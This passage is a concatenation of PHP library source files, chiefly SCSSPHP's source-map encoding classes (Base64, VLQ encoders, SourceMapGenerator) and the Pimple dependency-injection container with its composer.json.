mb_internal_encoding('iso-8859-1');
}
}
/**
* Restore internal encoding
*/
private function restoreEncoding()
{
if ($this->encoding) {
mb_internal_encoding($this->encoding);
}
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2015 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\SourceMap;
/**
* Base 64 Encode/Decode
*
* @author Anthon Pang <anthon.pang@gmail.com>
*/
class Base64
{
/**
* @var array
*/
private static $encodingMap = [
0 => 'A',
1 => 'B',
2 => 'C',
3 => 'D',
4 => 'E',
5 => 'F',
6 => 'G',
7 => 'H',
8 => 'I',
9 => 'J',
10 => 'K',
11 => 'L',
12 => 'M',
13 => 'N',
14 => 'O',
15 => 'P',
16 => 'Q',
17 => 'R',
18 => 'S',
19 => 'T',
20 => 'U',
21 => 'V',
22 => 'W',
23 => 'X',
24 => 'Y',
25 => 'Z',
26 => 'a',
27 => 'b',
28 => 'c',
29 => 'd',
30 => 'e',
31 => 'f',
32 => 'g',
33 => 'h',
34 => 'i',
35 => 'j',
36 => 'k',
37 => 'l',
38 => 'm',
39 => 'n',
40 => 'o',
41 => 'p',
42 => 'q',
43 => 'r',
44 => 's',
45 => 't',
46 => 'u',
47 => 'v',
48 => 'w',
49 => 'x',
50 => 'y',
51 => 'z',
52 => '0',
53 => '1',
54 => '2',
55 => '3',
56 => '4',
57 => '5',
58 => '6',
59 => '7',
60 => '8',
61 => '9',
62 => '+',
63 => '/',
];
/**
* @var array
*/
private static $decodingMap = [
'A' => 0,
'B' => 1,
'C' => 2,
'D' => 3,
'E' => 4,
'F' => 5,
'G' => 6,
'H' => 7,
'I' => 8,
'J' => 9,
'K' => 10,
'L' => 11,
'M' => 12,
'N' => 13,
'O' => 14,
'P' => 15,
'Q' => 16,
'R' => 17,
'S' => 18,
'T' => 19,
'U' => 20,
'V' => 21,
'W' => 22,
'X' => 23,
'Y' => 24,
'Z' => 25,
'a' => 26,
'b' => 27,
'c' => 28,
'd' => 29,
'e' => 30,
'f' => 31,
'g' => 32,
'h' => 33,
'i' => 34,
'j' => 35,
'k' => 36,
'l' => 37,
'm' => 38,
'n' => 39,
'o' => 40,
'p' => 41,
'q' => 42,
'r' => 43,
's' => 44,
't' => 45,
'u' => 46,
'v' => 47,
'w' => 48,
'x' => 49,
'y' => 50,
'z' => 51,
0 => 52,
1 => 53,
2 => 54,
3 => 55,
4 => 56,
5 => 57,
6 => 58,
7 => 59,
8 => 60,
9 => 61,
'+' => 62,
'/' => 63,
];
/**
* Convert to base64
*
* @param integer $value
*
* @return string
*/
public static function encode($value)
{
return self::$encodingMap[$value];
}
/**
* Convert from base64
*
* @param string $value
*
* @return integer
*/
public static function decode($value)
{
return self::$decodingMap[$value];
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2015 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\SourceMap;
use Leafo\ScssPhp\SourceMap\Base64;
/**
* Base 64 VLQ
*
* Based on the Base 64 VLQ implementation in Closure Compiler:
*
https://github.com/google/closure-compiler/blob/master/src/com/google/debugging/sourcemap/Base64VLQ.java
*
* Copyright 2011 The Closure Compiler Authors.
*
* Licensed under the Apache License, Version 2.0 (the
"License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS"
BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* @author John Lenz <johnlenz@google.com>
* @author Anthon Pang <anthon.pang@gmail.com>
*/
class Base64VLQ
{
// A Base64 VLQ digit can represent 5 bits, so it is base-32.
const VLQ_BASE_SHIFT = 5;
// A mask of bits for a VLQ digit (11111), 31 decimal.
const VLQ_BASE_MASK = 31;
// The continuation bit is the 6th bit.
const VLQ_CONTINUATION_BIT = 32;
/**
* Returns the VLQ encoded value.
*
* @param integer $value
*
* @return string
*/
public static function encode($value)
{
$encoded = '';
$vlq = self::toVLQSigned($value);
do {
$digit = $vlq & self::VLQ_BASE_MASK;
$vlq >>= self::VLQ_BASE_SHIFT;
if ($vlq > 0) {
$digit |= self::VLQ_CONTINUATION_BIT;
}
$encoded .= Base64::encode($digit);
} while ($vlq > 0);
return $encoded;
}
/**
* Decodes VLQValue.
*
* @param string $str
* @param integer $index
*
* @return integer
*/
public static function decode($str, &$index)
{
$result = 0;
$shift = 0;
do {
$c = $str[$index++];
$digit = Base64::decode($c);
$continuation = ($digit & self::VLQ_CONTINUATION_BIT) != 0;
$digit &= self::VLQ_BASE_MASK;
$result = $result + ($digit << $shift);
$shift = $shift + self::VLQ_BASE_SHIFT;
} while ($continuation);
return self::fromVLQSigned($result);
}
/**
* Converts from a two-complement value to a value where the sign bit
is
* is placed in the least significant bit. For example, as decimals:
* 1 becomes 2 (10 binary), -1 becomes 3 (11 binary)
* 2 becomes 4 (100 binary), -2 becomes 5 (101 binary)
*
* @param integer $value
*
* @return integer
*/
private static function toVLQSigned($value)
{
if ($value < 0) {
return ((-$value) << 1) + 1;
}
return ($value << 1) + 0;
}
/**
* Converts to a two-complement value from a value where the sign bit
is
* is placed in the least significant bit. For example, as decimals:
* 2 (10 binary) becomes 1, 3 (11 binary) becomes -1
* 4 (100 binary) becomes 2, 5 (101 binary) becomes -2
*
* @param integer $value
*
* @return integer
*/
private static function fromVLQSigned($value)
{
$negate = ($value & 1) === 1;
$value = $value >> 1;
return $negate ? -$value : $value;
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\SourceMap;
/**
* Base64 VLQ Encoder
*
* {@internal Derivative of oyejorge/less.php's
lib/SourceMap/Base64VLQ.php, relicensed with permission. }}
*
* @author Josh Schmidt <oyejorge@gmail.com>
* @author Nicolas FRANÇOIS <nicolas.francois@frog-labs.com>
*/
class Base64VLQEncoder
{
/**
* Shift
*
* @var integer
*/
private $shift = 5;
/**
* Mask
*
* @var integer
*/
private $mask = 0x1F; // == (1 << shift) == 0b00011111
/**
* Continuation bit
*
* @var integer
*/
private $continuationBit = 0x20; // == (mask - 1 ) == 0b00100000
/**
* Char to integer map
*
* @var array
*/
private $charToIntMap = [
'A' => 0, 'B' => 1, 'C' =>
2, 'D' => 3, 'E' => 4, 'F' => 5,
'G' => 6, 'H' => 7,
'I' => 8, 'J' => 9, 'K' =>
10, 'L' => 11, 'M' => 12, 'N' => 13,
'O' => 14, 'P' => 15,
'Q' => 16, 'R' => 17, 'S' =>
18, 'T' => 19, 'U' => 20, 'V' => 21,
'W' => 22, 'X' => 23,
'Y' => 24, 'Z' => 25, 'a' =>
26, 'b' => 27, 'c' => 28, 'd' => 29,
'e' => 30, 'f' => 31,
'g' => 32, 'h' => 33, 'i' =>
34, 'j' => 35, 'k' => 36, 'l' => 37,
'm' => 38, 'n' => 39,
'o' => 40, 'p' => 41, 'q' =>
42, 'r' => 43, 's' => 44, 't' => 45,
'u' => 46, 'v' => 47,
'w' => 48, 'x' => 49, 'y' =>
50, 'z' => 51, 0 => 52, 1 => 53, 2 => 54, 3
=> 55,
4 => 56, 5 => 57, 6 => 58, 7 => 59, 8 =>
60, 9 => 61, '+' => 62, '/' => 63,
];
/**
* Integer to char map
*
* @var array
*/
private $intToCharMap = [
0 => 'A', 1 => 'B', 2 =>
'C', 3 => 'D', 4 => 'E', 5 =>
'F', 6 => 'G', 7 => 'H',
8 => 'I', 9 => 'J', 10 =>
'K', 11 => 'L', 12 => 'M', 13 =>
'N', 14 => 'O', 15 => 'P',
16 => 'Q', 17 => 'R', 18 =>
'S', 19 => 'T', 20 => 'U', 21 =>
'V', 22 => 'W', 23 => 'X',
24 => 'Y', 25 => 'Z', 26 =>
'a', 27 => 'b', 28 => 'c', 29 =>
'd', 30 => 'e', 31 => 'f',
32 => 'g', 33 => 'h', 34 =>
'i', 35 => 'j', 36 => 'k', 37 =>
'l', 38 => 'm', 39 => 'n',
40 => 'o', 41 => 'p', 42 =>
'q', 43 => 'r', 44 => 's', 45 =>
't', 46 => 'u', 47 => 'v',
48 => 'w', 49 => 'x', 50 =>
'y', 51 => 'z', 52 => '0', 53 =>
'1', 54 => '2', 55 => '3',
56 => '4', 57 => '5', 58 =>
'6', 59 => '7', 60 => '8', 61 =>
'9', 62 => '+', 63 => '/',
];
/**
* Constructor
*/
public function __construct()
{
// I leave it here for future reference
// foreach
(str_split('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')
as $i => $char)
// {
// $this->charToIntMap[$char] = $i;
// $this->intToCharMap[$i] = $char;
// }
}
/**
* Convert from a two-complement value to a value where the sign bit is
* is placed in the least significant bit. For example, as decimals:
* 1 becomes 2 (10 binary), -1 becomes 3 (11 binary)
* 2 becomes 4 (100 binary), -2 becomes 5 (101 binary)
* We generate the value for 32 bit machines, hence -2147483648 becomes
1, not 4294967297,
* even on a 64 bit machine.
*
* @param string $aValue
*/
public function toVLQSigned($aValue)
{
return 0xffffffff & ($aValue < 0 ? ((-$aValue) << 1) +
1 : ($aValue << 1) + 0);
}
/**
* Convert to a two-complement value from a value where the sign bit is
* is placed in the least significant bit. For example, as decimals:
* 2 (10 binary) becomes 1, 3 (11 binary) becomes -1
* 4 (100 binary) becomes 2, 5 (101 binary) becomes -2
* We assume that the value was generated with a 32 bit machine in
mind.
* Hence
* 1 becomes -2147483648
* even on a 64 bit machine.
*
* @param integer $aValue
*/
public function fromVLQSigned($aValue)
{
return $aValue & 1 ? $this->zeroFill(~$aValue + 2, 1) | (-1
- 0x7fffffff) : $this->zeroFill($aValue, 1);
}
/**
* Return the base 64 VLQ encoded value.
*
* @param string $aValue The value to encode
*
* @return string The encoded value
*/
public function encode($aValue)
{
$encoded = '';
$vlq = $this->toVLQSigned($aValue);
do {
$digit = $vlq & $this->mask;
$vlq = $this->zeroFill($vlq, $this->shift);
if ($vlq > 0) {
$digit |= $this->continuationBit;
}
$encoded .= $this->base64Encode($digit);
} while ($vlq > 0);
return $encoded;
}
/**
* Return the value decoded from base 64 VLQ.
*
* @param string $encoded The encoded value to decode
*
* @return integer The decoded value
*/
public function decode($encoded)
{
$vlq = 0;
$i = 0;
do {
$digit = $this->base64Decode($encoded[$i]);
$vlq |= ($digit & $this->mask) << ($i *
$this->shift);
$i++;
} while ($digit & $this->continuationBit);
return $this->fromVLQSigned($vlq);
}
/**
* Right shift with zero fill.
*
* @param integer $a number to shift
* @param integer $b number of bits to shift
*
* @return integer
*/
public function zeroFill($a, $b)
{
return ($a >= 0) ? ($a >> $b) : ($a >> $b) &
(PHP_INT_MAX >> ($b - 1));
}
/**
* Encode single 6-bit digit as base64.
*
* @param integer $number
*
* @return string
*
* @throws \Exception If the number is invalid
*/
public function base64Encode($number)
{
if ($number < 0 || $number > 63) {
throw new \Exception(sprintf('Invalid number
"%s" given. Must be between 0 and 63.', $number));
}
return $this->intToCharMap[$number];
}
/**
* Decode single 6-bit digit from base64
*
* @param string $char
*
* @return integer
*
* @throws \Exception If the number is invalid
*/
public function base64Decode($char)
{
if (! array_key_exists($char, $this->charToIntMap)) {
throw new \Exception(sprintf('Invalid base 64 digit
"%s" given.', $char));
}
return $this->charToIntMap[$char];
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\SourceMap;
use Leafo\ScssPhp\Exception\CompilerException;
/**
* Source Map Generator
*
* {@internal Derivative of oyejorge/less.php's
lib/SourceMap/Generator.php, relicensed with permission. }}
*
* @author Josh Schmidt <oyejorge@gmail.com>
* @author Nicolas FRANÇOIS <nicolas.francois@frog-labs.com>
*/
class SourceMapGenerator
{
/**
* What version of source map does the generator generate?
*/
const VERSION = 3;
/**
* Array of default options
*
* @var array
*/
protected $defaultOptions = [
// an optional source root, useful for relocating source files
// on a server or removing repeated values in the
'sources' entry.
// This value is prepended to the individual entries in the
'source' field.
'sourceRoot' => '',
// an optional name of the generated code that this source map is
associated with.
'sourceMapFilename' => null,
// url of the map
'sourceMapURL' => null,
// absolute path to a file to write the map to
'sourceMapWriteTo' => null,
// output source contents?
'outputSourceFiles' => false,
// base path for filename normalization
'sourceMapRootpath' => '',
// base path for filename normalization
'sourceMapBasepath' => ''
];
/**
* The base64 VLQ encoder
*
* @var \Leafo\ScssPhp\SourceMap\Base64VLQ
*/
protected $encoder;
/**
* Array of mappings
*
* @var array
*/
protected $mappings = [];
/**
* Array of contents map
*
* @var array
*/
protected $contentsMap = [];
/**
* File to content map
*
* @var array
*/
protected $sources = [];
protected $sourceKeys = [];
/**
* @var array
*/
private $options;
public function __construct(array $options = [])
{
$this->options = array_merge($this->defaultOptions,
$options);
$this->encoder = new Base64VLQ();
}
/**
* Adds a mapping
*
* @param integer $generatedLine The line number in generated file
* @param integer $generatedColumn The column number in generated file
* @param integer $originalLine The line number in original file
* @param integer $originalColumn The column number in original file
* @param string $sourceFile The original source file
*/
public function addMapping($generatedLine, $generatedColumn,
$originalLine, $originalColumn, $sourceFile)
{
$this->mappings[] = [
'generated_line' => $generatedLine,
'generated_column' => $generatedColumn,
'original_line' => $originalLine,
'original_column' => $originalColumn,
'source_file' => $sourceFile
];
$this->sources[$sourceFile] = $sourceFile;
}
/**
* Saves the source map to a file
*
* @param string $content The content to write
*
* @return string
*
* @throws \Leafo\ScssPhp\Exception\CompilerException If the file could
not be saved
*/
public function saveMap($content)
{
$file = $this->options['sourceMapWriteTo'];
$dir = dirname($file);
// directory does not exist
if (! is_dir($dir)) {
// FIXME: create the dir automatically?
throw new CompilerException(
sprintf('The directory "%s" does not exist.
Cannot save the source map.', $dir)
);
}
// FIXME: proper saving, with dir write check!
if (file_put_contents($file, $content) === false) {
throw new CompilerException(sprintf('Cannot save the
source map to "%s"', $file));
}
return $this->options['sourceMapURL'];
}
/**
* Generates the JSON source map
*
* @return string
*
* @see
https://docs.google.com/document/d/1U1RGAehQwRypUTovF1KRlpiOFze0b-_2gc6fAH0KY0k/edit#
*/
public function generateJson()
{
$sourceMap = [];
$mappings = $this->generateMappings();
// File version (always the first entry in the object) and must be
a positive integer.
$sourceMap['version'] = self::VERSION;
// An optional name of the generated code that this source map is
associated with.
$file = $this->options['sourceMapFilename'];
if ($file) {
$sourceMap['file'] = $file;
}
// An optional source root, useful for relocating source files on a
server or removing repeated values in the
// 'sources' entry. This value is prepended to the
individual entries in the 'source' field.
$root = $this->options['sourceRoot'];
if ($root) {
$sourceMap['sourceRoot'] = $root;
}
// A list of original sources used by the 'mappings'
entry.
$sourceMap['sources'] = [];
foreach ($this->sources as $sourceUri => $sourceFilename) {
$sourceMap['sources'][] =
$this->normalizeFilename($sourceFilename);
}
// A list of symbol names used by the 'mappings' entry.
$sourceMap['names'] = [];
// A string with the encoded mapping data.
$sourceMap['mappings'] = $mappings;
if ($this->options['outputSourceFiles']) {
// An optional list of source content, useful when the
'source' can't be hosted.
// The contents are listed in the same order as the sources
above.
// 'null' may be used if some original sources should
be retrieved by name.
$sourceMap['sourcesContent'] =
$this->getSourcesContent();
}
// less.js compat fixes
if (count($sourceMap['sources']) &&
empty($sourceMap['sourceRoot'])) {
unset($sourceMap['sourceRoot']);
}
return json_encode($sourceMap, JSON_UNESCAPED_SLASHES);
}
/**
* Returns the sources contents
*
* @return array|null
*/
protected function getSourcesContent()
{
if (empty($this->sources)) {
return null;
}
$content = [];
foreach ($this->sources as $sourceFile) {
$content[] = file_get_contents($sourceFile);
}
return $content;
}
/**
* Generates the mappings string
*
* @return string
*/
public function generateMappings()
{
if (! count($this->mappings)) {
return '';
}
$this->sourceKeys = array_flip(array_keys($this->sources));
// group mappings by generated line number.
$groupedMap = $groupedMapEncoded = [];
foreach ($this->mappings as $m) {
$groupedMap[$m['generated_line']][] = $m;
}
ksort($groupedMap);
$lastGeneratedLine = $lastOriginalIndex = $lastOriginalLine =
$lastOriginalColumn = 0;
foreach ($groupedMap as $lineNumber => $lineMap) {
while (++$lastGeneratedLine < $lineNumber) {
$groupedMapEncoded[] = ';';
}
$lineMapEncoded = [];
$lastGeneratedColumn = 0;
foreach ($lineMap as $m) {
$mapEncoded =
$this->encoder->encode($m['generated_column'] -
$lastGeneratedColumn);
$lastGeneratedColumn = $m['generated_column'];
// find the index
if ($m['source_file']) {
$index =
$this->findFileIndex($m['source_file']);
if ($index !== false) {
$mapEncoded .= $this->encoder->encode($index
- $lastOriginalIndex);
$lastOriginalIndex = $index;
// lines are stored 0-based in SourceMap spec
version 3
$mapEncoded .=
$this->encoder->encode($m['original_line'] - 1 -
$lastOriginalLine);
$lastOriginalLine = $m['original_line'] -
1;
$mapEncoded .=
$this->encoder->encode($m['original_column'] -
$lastOriginalColumn);
$lastOriginalColumn =
$m['original_column'];
}
}
$lineMapEncoded[] = $mapEncoded;
}
$groupedMapEncoded[] = implode(',', $lineMapEncoded)
. ';';
}
return rtrim(implode($groupedMapEncoded), ';');
}
/**
* Finds the index for the filename
*
* @param string $filename
*
* @return integer|false
*/
protected function findFileIndex($filename)
{
return $this->sourceKeys[$filename];
}
/**
* Normalize filename
*
* @param string $filename
*
* @return string
*/
protected function normalizeFilename($filename)
{
$filename = $this->fixWindowsPath($filename);
$rootpath = $this->options['sourceMapRootpath'];
$basePath = $this->options['sourceMapBasepath'];
// "Trim" the 'sourceMapBasepath' from the
output filename.
if (strlen($basePath) && strpos($filename, $basePath) ===
0) {
$filename = substr($filename, strlen($basePath));
}
// Remove extra leading path separators.
if (strpos($filename, '\\') === 0 || strpos($filename,
'/') === 0) {
$filename = substr($filename, 1);
}
return $rootpath . $filename;
}
/**
* Fix windows paths
*
* @param string $path
* @param boolean $addEndSlash
*
* @return string
*/
public function fixWindowsPath($path, $addEndSlash = false)
{
$slash = ($addEndSlash) ? '/' : '';
if (! empty($path)) {
$path = str_replace('\\', '/', $path);
$path = rtrim($path, '/') . $slash;
}
return $path;
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp;
/**
* Block/node types
*
* @author Anthon Pang <anthon.pang@gmail.com>
*/
class Type
{
const T_ASSIGN = 'assign';
const T_AT_ROOT = 'at-root';
const T_BLOCK = 'block';
const T_BREAK = 'break';
const T_CHARSET = 'charset';
const T_COLOR = 'color';
const T_COMMENT = 'comment';
const T_CONTINUE = 'continue';
const T_CONTROL = 'control';
const T_DEBUG = 'debug';
const T_DIRECTIVE = 'directive';
const T_EACH = 'each';
const T_ELSE = 'else';
const T_ELSEIF = 'elseif';
const T_ERROR = 'error';
const T_EXPRESSION = 'exp';
const T_EXTEND = 'extend';
const T_FOR = 'for';
const T_FUNCTION = 'function';
const T_FUNCTION_CALL = 'fncall';
const T_HSL = 'hsl';
const T_IF = 'if';
const T_IMPORT = 'import';
const T_INCLUDE = 'include';
const T_INTERPOLATE = 'interpolate';
const T_INTERPOLATED = 'interpolated';
const T_KEYWORD = 'keyword';
const T_LIST = 'list';
const T_MAP = 'map';
const T_MEDIA = 'media';
const T_MEDIA_EXPRESSION = 'mediaExp';
const T_MEDIA_TYPE = 'mediaType';
const T_MEDIA_VALUE = 'mediaValue';
const T_MIXIN = 'mixin';
const T_MIXIN_CONTENT = 'mixin_content';
const T_NESTED_PROPERTY = 'nestedprop';
const T_NOT = 'not';
const T_NULL = 'null';
const T_NUMBER = 'number';
const T_RETURN = 'return';
const T_ROOT = 'root';
const T_SCSSPHP_IMPORT_ONCE = 'scssphp-import-once';
const T_SELF = 'self';
const T_STRING = 'string';
const T_UNARY = 'unary';
const T_VARIABLE = 'var';
const T_WARN = 'warn';
const T_WHILE = 'while';
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp;
use Leafo\ScssPhp\Base\Range;
use Leafo\ScssPhp\Exception\RangeException;
/**
* Utilty functions
*
* @author Anthon Pang <anthon.pang@gmail.com>
*/
class Util
{
/**
* Asserts that `value` falls within `range` (inclusive), leaving
* room for slight floating-point errors.
*
* @param string $name The name of the value. Used
in the error message.
* @param \Leafo\ScssPhp\Base\Range $range Range of values.
* @param array $value The value to check.
* @param string $unit The unit of the value. Used
in error reporting.
*
* @return mixed `value` adjusted to fall within range, if it was
outside by a floating-point margin.
*
* @throws \Leafo\ScssPhp\Exception\RangeException
*/
public static function checkRange($name, Range $range, $value, $unit =
'')
{
$val = $value[1];
$grace = new Range(-0.00001, 0.00001);
if ($range->includes($val)) {
return $val;
}
if ($grace->includes($val - $range->first)) {
return $range->first;
}
if ($grace->includes($val - $range->last)) {
return $range->last;
}
throw new RangeException("$name {$val} must be between
{$range->first} and {$range->last}$unit");
}
/**
* Encode URI component
*
* @param string $string
*
* @return string
*/
public static function encodeURIComponent($string)
{
$revert = ['%21' => '!', '%2A'
=> '*', '%27' => "'",
'%28' => '(', '%29' => ')'];
return strtr(rawurlencode($string), $revert);
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp;
/**
* SCSSPHP version
*
* @author Leaf Corcoran <leafot@gmail.com>
*/
class Version
{
const VERSION = 'v0.8.4';
}
{
"name": "pimple/pimple",
"type": "library",
"description": "Pimple, a simple Dependency Injection
Container",
"keywords": ["dependency injection",
"container"],
"homepage": "http://pimple.sensiolabs.org",
"license": "MIT",
"authors": [
{
"name": "Fabien Potencier",
"email": "fabien@symfony.com"
}
],
"require": {
"php": ">=5.3.0",
"psr/container": "^1.0"
},
"require-dev": {
"symfony/phpunit-bridge": "^3.2"
},
"autoload": {
"psr-0": { "Pimple": "src/" }
},
"extra": {
"branch-alias": {
"dev-master": "3.2.x-dev"
}
}
}
<?php
/*
* This file is part of Pimple.
*
* Copyright (c) 2009 Fabien Potencier
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
furnished
* to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace Pimple;
use Pimple\Exception\ExpectedInvokableException;
use Pimple\Exception\FrozenServiceException;
use Pimple\Exception\InvalidServiceIdentifierException;
use Pimple\Exception\UnknownIdentifierException;
/**
* Container main class.
*
* @author Fabien Potencier
*/
class Container implements \ArrayAccess
{
private $values = array();
private $factories;
private $protected;
private $frozen = array();
private $raw = array();
private $keys = array();
/**
* Instantiates the container.
*
* Objects and parameters can be passed as argument to the constructor.
*
* @param array $values The parameters or objects
*/
public function __construct(array $values = array())
{
$this->factories = new \SplObjectStorage();
$this->protected = new \SplObjectStorage();
foreach ($values as $key => $value) {
$this->offsetSet($key, $value);
}
}
/**
* Sets a parameter or an object.
*
* Objects must be defined as Closures.
*
* Allowing any PHP callable leads to difficult to debug problems
* as function names (strings) are callable (creating a function with
* the same name as an existing parameter would break your container).
*
* @param string $id The unique identifier for the parameter or
object
* @param mixed $value The value of the parameter or a closure to
define an object
*
* @throws FrozenServiceException Prevent override of a frozen service
*/
public function offsetSet($id, $value)
{
if (isset($this->frozen[$id])) {
throw new FrozenServiceException($id);
}
$this->values[$id] = $value;
$this->keys[$id] = true;
}
/**
* Gets a parameter or an object.
*
* @param string $id The unique identifier for the parameter or object
*
* @return mixed The value of the parameter or an object
*
* @throws UnknownIdentifierException If the identifier is not defined
*/
public function offsetGet($id)
{
if (!isset($this->keys[$id])) {
throw new UnknownIdentifierException($id);
}
if (
isset($this->raw[$id])
|| !\is_object($this->values[$id])
|| isset($this->protected[$this->values[$id]])
|| !\method_exists($this->values[$id], '__invoke')
) {
return $this->values[$id];
}
if (isset($this->factories[$this->values[$id]])) {
return $this->values[$id]($this);
}
$raw = $this->values[$id];
$val = $this->values[$id] = $raw($this);
$this->raw[$id] = $raw;
$this->frozen[$id] = true;
return $val;
}
/**
* Checks if a parameter or an object is set.
*
* @param string $id The unique identifier for the parameter or object
*
* @return bool
*/
public function offsetExists($id)
{
return isset($this->keys[$id]);
}
/**
* Unsets a parameter or an object.
*
* @param string $id The unique identifier for the parameter or object
*/
public function offsetUnset($id)
{
if (isset($this->keys[$id])) {
if (\is_object($this->values[$id])) {
unset($this->factories[$this->values[$id]],
$this->protected[$this->values[$id]]);
}
unset($this->values[$id], $this->frozen[$id],
$this->raw[$id], $this->keys[$id]);
}
}
/**
* Marks a callable as being a factory service.
*
* @param callable $callable A service definition to be used as a
factory
*
* @return callable The passed callable
*
* @throws ExpectedInvokableException Service definition has to be a
closure or an invokable object
*/
public function factory($callable)
{
if (!\method_exists($callable, '__invoke')) {
throw new ExpectedInvokableException('Service definition
is not a Closure or invokable object.');
}
$this->factories->attach($callable);
return $callable;
}
/**
* Protects a callable from being interpreted as a service.
*
* This is useful when you want to store a callable as a parameter.
*
* @param callable $callable A callable to protect from being evaluated
*
* @return callable The passed callable
*
* @throws ExpectedInvokableException Service definition has to be a
closure or an invokable object
*/
public function protect($callable)
{
if (!\method_exists($callable, '__invoke')) {
throw new ExpectedInvokableException('Callable is not a
Closure or invokable object.');
}
$this->protected->attach($callable);
return $callable;
}
/**
* Gets a parameter or the closure defining an object.
*
* @param string $id The unique identifier for the parameter or object
*
* @return mixed The value of the parameter or the closure defining an
object
*
* @throws UnknownIdentifierException If the identifier is not defined
*/
public function raw($id)
{
if (!isset($this->keys[$id])) {
throw new UnknownIdentifierException($id);
}
if (isset($this->raw[$id])) {
return $this->raw[$id];
}
return $this->values[$id];
}
/**
* Extends an object definition.
*
* Useful when you want to extend an existing object definition,
* without necessarily loading that object.
*
* @param string $id The unique identifier for the object
* @param callable $callable A service definition to extend the
original
*
* @return callable The wrapped callable
*
* @throws UnknownIdentifierException If the identifier is not
defined
* @throws FrozenServiceException If the service is frozen
* @throws InvalidServiceIdentifierException If the identifier belongs
to a parameter
* @throws ExpectedInvokableException If the extension callable
is not a closure or an invokable object
*/
public function extend($id, $callable)
{
if (!isset($this->keys[$id])) {
throw new UnknownIdentifierException($id);
}
if (isset($this->frozen[$id])) {
throw new FrozenServiceException($id);
}
if (!\is_object($this->values[$id]) ||
!\method_exists($this->values[$id], '__invoke')) {
throw new InvalidServiceIdentifierException($id);
}
if (isset($this->protected[$this->values[$id]])) {
@\trigger_error(\sprintf('How Pimple behaves when
extending protected closures will be fixed in Pimple 4. Are you sure
"%s" should be protected?', $id), \E_USER_DEPRECATED);
}
if (!\is_object($callable) || !\method_exists($callable,
'__invoke')) {
throw new ExpectedInvokableException('Extension service
definition is not a Closure or invokable object.');
}
$factory = $this->values[$id];
$extended = function ($c) use ($callable, $factory) {
return $callable($factory($c), $c);
};
if (isset($this->factories[$factory])) {
$this->factories->detach($factory);
$this->factories->attach($extended);
}
return $this[$id] = $extended;
}
/**
* Returns all defined value names.
*
* @return array An array of value names
*/
public function keys()
{
return \array_keys($this->values);
}
/**
* Registers a service provider.
*
* @param ServiceProviderInterface $provider A ServiceProviderInterface
instance
* @param array $values An array of values that
customizes the provider
*
* @return static
*/
public function register(ServiceProviderInterface $provider, array
$values = array())
{
$provider->register($this);
foreach ($values as $key => $value) {
$this[$key] = $value;
}
return $this;
}
}
<?php
/*
* This file is part of Pimple.
*
* Copyright (c) 2009 Fabien Potencier
*
* Permission is hereby granted, free of charge, to any person obtaining a
copy
* of this software and associated documentation files (the
"Software"), to deal
* in the Software without restriction, including without limitation the
rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
* copies of the Software, and to permit persons to whom the Software is
furnished
* to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN
* THE SOFTWARE.
*/
namespace Pimple\Exception;
use Psr\Container\ContainerExceptionInterface;
/**
* A closure or invokable object was expected.
*
